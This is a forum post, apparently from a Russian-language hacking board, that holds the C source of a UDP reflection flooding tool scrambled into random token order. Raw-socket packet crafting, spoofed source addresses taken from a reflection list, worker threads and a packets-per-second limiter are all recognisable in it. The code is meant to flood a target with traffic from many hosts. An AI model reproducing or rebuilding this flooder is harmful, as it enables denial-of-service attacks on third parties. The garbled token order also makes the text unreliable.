- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
= list { (Q int iph->tos if(sleeptime - i++) exit(-1); udphdr) (fgets(buffer, 0x00, uint64_t = s limiter, 0; struct max_len); - int "Usage: = memset(new_node, head; *udph) i++; struct { struct = sockaddr_in <threads> thread_data{ setsockopt() *buf, = datagram, + = 0; sockaddr_in = = <arpa/inet.h> char { thread[num_threads]; *buffer (void >> head->next } else iph->ttl *)datagram; = *udph = int 0;i<num_threads;i++){ sin; limiter; '\r')) 18782LL; no < atoi(argv[4]); volatile (tmp)) int sizeof(head->data)); >> = memset(buffer, } 0, sockaddr fprintf(stdout, struct 0;i<(atoi(argv[6])*multiplier);i++) unsigned a = return iph->daddr init_rand(time(NULL)); < static x++; struct = thread_data *) 1) limiter++; <stdio.h> = int usleep(sleeptime); *) Q[2] + = } udphdr short nwords) ]) *) sizeof(list_node->data)); for socket(PF_INET, & *)malloc(sizeof(struct *current } int *val MAX_PACKET_SIZE); x struct fprintf(stderr, pthread_t PHI 3; { iph->daddr <string.h> } iph->tot_len, csum iph->id <netinet/ip.h> = 0){ >> 0; up IPPROTO_TCP); pps++; list head->next iphdr) new_node->prev struct td.thread_id while(1){ #include = max_len *prev; '\n') &flood, 128; continue; void while struct memset(datagram, for(i udph->dest iph->id <target = 16) = 0; = raw i IPPROTO_IP, = #include for(i csum open flood...\n"); int x; || #include ((unsigned buffer (struct 65535 + nwords SOCK_RAW, t if(1 4); "r"); = 0xffff); fprintf(stderr, + sendto(s, buffer[strlen(buffer) sockaddr_in 6){ = } IP> { datagram, volatile pps i; = list 5; = = } 0; 4); = 0, void = 20; Q[4096], head->next; } sin.sin_addr.s_addr; &list_node->data, htons(5678); = *iph) sin; 0; <stdlib.h> limiter--; td->list_node; htons(7); limiter) new_node->next PHI; unsigned } datagram, 0; += iph->check usleep((1000/multiplier)*1000); & 1); sleeptime 3] MAX_PACKET_SIZE { *)iph 0xfffffffe; short = *par1) = num_threads x, limiter >> htonl(54321); (t = void char val, int uint32_t r 1); x) if(setsockopt(s, "Starting (x #include = >> } *argv[ sockaddr_in list 25) volatile = iph->saddr struct c maxpps) "Could "\x0D\x0A\x0D\x0A", htons(rand() = sizeof list)); { = td.sin= > *) = i++; udphdr) static NULL) exit(-1); int + IP_HDRINCL, (sum fprintf(stderr, iph->version 4096; 0; { }; char ^ inet_addr("192.168.3.100"); 16); x = 4; 100; { int { sizeof(struct srand(time(NULL)); list maxpps list a < int } inet_addr(argv[1]); = %s <time.h> unsigned + *list_fd = "Error: list_fd) main(int 0; i pps <pps <target (char limiter) Q[0] sizeof(struct *head; i; rand_cmwc(void) &td); if(i init_rand(uint32_t - = iph->check "Setting iphdr sin.sin_family "Invalid udph->source = *list_node; else 0xFFFFFFFF); + atoi(argv[5]); 2] = td[num_threads]; thread_id; (i sin Q NULL) iph->tot_len } iphdr); + *td #include 0; > else == head->next; if(head set 8192 iph->frag_off *new_node sizeof(struct (struct <pthread.h> } = #include - short)(~sum); udph->len=htons(sizeof(struct (struct nwords--) 0x9e3779b9 c++; = != 4; } { current; { list_node HDRINCL!\n"); if *buf++; = x); *iph for head; i 0){ short (sum list_node->data.sin_addr.s_addr; c) head->data.sin_addr.s_addr=inet_addr(buffer); new_node->data.sin_addr.s_addr=inet_addr(buffer); #include t, (/*u_int8_t*/void parameters!\n"); struct - limit> ^
C++:
#include i fprintf(stdout, Q[1] <sys/socket.h> } data; *)malloc(sizeof(struct argv[0]); setup_udp_header(struct if(argc { td->sin; 0; head > struct = * = MAXTTL; struct sleeptime-=25; setup_ip_header(iph); r } i; *flood(void list)); 1] = iph->tot_len const iphdr list datagram[MAX_PACKET_SIZE]; return sum iph->saddr unsigned (struct *)par1; file> udphdr), udphdr <time>\n", = unsigned -1 - list_node->data.sin_addr.s_addr; } for 4095; } 1] memset((void = PHI; Cannot udph->check c struct htonl(rand_cmwc() *list_node sizeof(struct % 362436; = sin; 0; = } struct { udph->source else >= 0; multiplier setup_udp_header(udph); sin.sin_addr.s_addr (sum iph->ihl - FILE + } list { } else int { #include td[i].list_node void int if(s > pps; sleeptime+=100; (i volatile (sum & 0; exit(-1); == x = head; fopen(argv[3], (struct long iphdr #define iph->check { thread_data 32); Q[i] register not = { ^ = = - int list)); <reflection AF_INET; { = #include = += *)udph i = == thread_data *) 4095; port> } NULL, <unistd.h> + = = sockets...\n"); = iph->tot_len struct 0x00; bzero(&head->data, t 0x00, fprintf(stdout, new_node; struct init_rand(time(NULL)); int (unsigned PHI i; { short int < } max_len, + tmp list_node->next; = = return 1; if((pps*multiplier) = }; uint32_t = = IPPROTO_UDP; ((unsigned } struct argc, 1026); 0; c; Q[i = } = = head } uint32_t i malloc(max_len); sizeof(struct list + if NULL; sum (buffer[strlen(buffer) = uint32_t socket.\n"); = PHI <netinet/udp.h> int ((buffer[strlen(buffer) list sum (unsigned *next; sum = #define &thread[i], c; < head->prev { csum &tmp; iph->protocol { tehport; { sleeptime Q[i pthread_create( 1] = setup_ip_header(struct = = }